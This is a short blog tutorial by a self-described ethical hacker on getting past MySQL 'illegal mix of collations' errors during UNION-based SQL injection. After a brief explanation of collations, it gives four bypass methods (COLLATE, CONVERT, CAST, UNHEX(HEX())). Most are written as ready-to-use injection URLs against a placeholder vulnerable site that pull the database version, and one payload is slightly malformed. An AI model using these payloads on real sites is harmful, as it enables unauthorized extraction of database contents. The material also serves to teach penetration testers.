Bypass illegal mix of collations in sql injection

illegal mix of collations in sql injection

Bypass illegal mix of collations in sql injection

In this post you will learn how you can bypass the error illegal mix of collations in sql injection.

what is illegal mix of collation ?

Collation refers to a set of rules that determine how data is sorted and compared. Character data is sorted using rules that define the correct character sequence, with options for specifying case-sensitivity, accent marks, character types and character width.

Collation is concerned with how character data is interpreted by SQL Server. Because many people use MySQL with data to be stored in languages other than English, they need to select the rules of comparisons which in turn depends on the character set used for storing that data.

In MySQL, data is stored using a specific character set, which can be defind at different levels; i.e., the sever, the database, the table, and the column levels.

With union select we are combining result-set of two or more select statements. We already know that each SELECT statement within the UNION must have the same number of columns. The columns must also have similar data types. And they must have same collation !! If they are different we get an error.

Bypassing Error

# Method 1

Define COLLATE
SELECT * FROM table ORDER BY somekey COLLATE latin1_general_ci;

We can use different collation names:
latin1_general_ci
utf8_general_ci
utf8_unicode_ci
latin1_german1_ci
latin1_swedish_ci

A name ending in _ci indicates a case-insensitive collation.
A name ending in _cs indicates a case-sensitive collation.
A name ending in _bin indicates a binary collation. Character comparisons are based on character binary code values

# Method 2

By using function CONVERT
CONVERT() provides a way to convert data between different character sets. The syntax is: CONVERT(expr USING transcoding_name).
http://vuln-web.com/?id=1 and 0 UNION SELECT,convert(version() using binary),3,4,5,6,7,8--

# Method 3

Use function CAST

you can also use CAST() to convert a string to a different character set. The syntax is: CAST(character_string AS character_data_type CHARACTER SET charset_name).

http://vuln-web.com/?id=1 and 0 UNION SELECT 1,cast(version()as binary),3,4,5,6,7,8--
Read More: Inject a site when commas are block

# Method 4

Use function UNHEX(HEX(xx))
UNHEX() –> Return a string containing hex representation
HEX() –> Return a hexadecimal representation of a decimal or string value

http://vuln-web.com/?id=1 and 0 UNION SELECT 1,UNHEX(HEX(version())),3,4,5,6,7,8--

Hope, this will help you in illegal mix of collation error. Keep learning and practising.

Thanks for reading guys. 🙂

Author: Ahmed Raza Memon

I am 17 years old Ethical Hacker, Penetration Tester, Web Security Expert and Exploit Writer From the India. My area of expertise includes Ethical Hacking, Vulnerability Assessment, Information Security Audits, Penetration Testing, Exploit Writing, Web Application security, Source Code Reviews, Forensic Investigation and Cyber Law. I have been Acknowledged by many top companies like Microsoft, Apple, SAP, AOL, Sony and many More...

Leave a Reply